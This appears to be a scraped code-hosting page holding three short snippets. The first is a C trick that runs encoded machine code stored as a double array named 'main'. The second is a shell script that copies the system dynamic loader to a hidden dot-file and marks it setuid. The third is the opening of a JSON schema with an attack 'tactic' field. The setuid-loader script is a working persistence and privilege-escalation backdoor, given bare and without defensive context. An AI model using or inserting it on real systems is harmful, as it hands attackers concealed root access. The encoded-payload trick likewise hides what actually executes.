This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // compile with -Wall to see gcc's greatest warning | |
| __attribute__((section(".text"))) | |
| double main[] = { | |
| 6.434034871449969e+125, 1.9656826314093183e-236, | |
| 1.1769183410865075e-94, 7.069851040752367e-260, | |
| }; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| sh_elf=$(file -LbP bytes=6 /bin/sh) | |
| suid_ld= | |
| find /lib/ -name 'ld.so*' -or -name 'ld-*.so*' -print0 2>/dev/null | while read -d $'\0' file; do | |
| ld_elf=$(file -LbP bytes=6 "$file") | |
| if [[ "$sh_elf" == "$ld_elf" ]]; then | |
| suid_ld="$(dirname $file)/.$(basename $file)" | |
| cp "$file" "$suid_ld" | |
| chmod +s "$suid_ld" | |
| fi | |
| done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "$schema": "http://json-schema.org/draft-07/schema", | |
| "type": "object", | |
| "required": [ | |
| "name", | |
| "description", | |
| "author", | |
| "tactic" | |
| ], | |
| "properties": { |